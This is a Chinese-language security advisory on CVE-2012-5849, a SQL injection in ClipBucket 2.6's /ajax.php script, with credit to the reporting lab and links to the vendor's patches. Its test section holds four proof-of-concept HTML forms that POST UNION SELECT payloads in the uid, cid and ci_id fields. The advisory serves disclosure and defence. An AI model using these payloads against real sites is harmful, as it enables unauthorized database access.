ClipBucket “/ajax.php”脚本SQL注入漏洞


发布日期：2012-12-05
更新日期：2012-12-11

受影响系统：
ClipBucket ClipBucket 2.6 Revision 738
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56854
CVE(CAN) ID: CVE-2012-5849

ClipBucket是开源的自由视频共享软件。

ClipBucket 2.6 Revision 738及之前版本对"/ajax.php"脚本内的多个参数值过滤不正确，远程攻击者可通过发送特制的HTTP POST请求，导致在应用的数据库内执行任意SQL查询。受影响参数包括："uid"、"id" 、"cid"、"ci_id"

<*来源：High-Tech Bridge Security Research Lab
 
  链接：https://www.htbridge.com/advisory/HTB23125
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

PoC 1:
<form action="http://[host]/ajax.php" method="post">
<input type="hidden" name="mode" value="add_friend" />
<input type="hidden" name="uid" value="' UNION SELECT 1,2,3,4,5,6,7,version(),9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4, 5,6,7,8,9,10 -- " />
<input type="submit" id="btn">
</form>
PoC 2:
<form action="http://[host]/ajax.php" method="post">
<input type="hidden" name="mode" value="get_item" />
<input type="hidden" name="type" value="[videos|photos]" />
<input type="hidden" name="cid" value="0 UNION SELECT 1,2,3,4,5,6,7,version(),9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4, 5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9 -- " />
<input type="hidden" name="ci_id" value="" />
<input type="submit" id="btn">
</form>
PoC 3:
<form action="http://[host]/ajax.php" method="post">
<input type="hidden" name="mode" value="get_item" />
<input type="hidden" name="type" value="[videos|photos]" />
<input type="hidden" name="cid" value="" />
<input type="hidden" name="ci_id" value="0 UNION SELECT 1,2,3,4,5,6,7,version(),9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4, 5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9 -- " />
<input type="submit" id="btn">
</form>
PoC 4:
<form action="http://[host]/ajax.php" method="post">
<input type="hidden" name="mode" value="load_more_items" />
<input type="hidden" name="type" value="[videos|photos]" />
<input type="hidden" name="cid" value="0' UNION SELECT 1,2,3,4,5,6,7,version(),9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4, 5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9 -- " />
<input type="submit" id="btn">
</form>

建议：
--------------------------------------------------------------------------------
厂商补丁：

ClipBucket
----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://clip-bucket.com/
http://sourceforge.net/projects/clipbucket/files/Patches/
http://sourceforge.net/projects/clipbucket/files/ClipBucket%20v2/

相关内容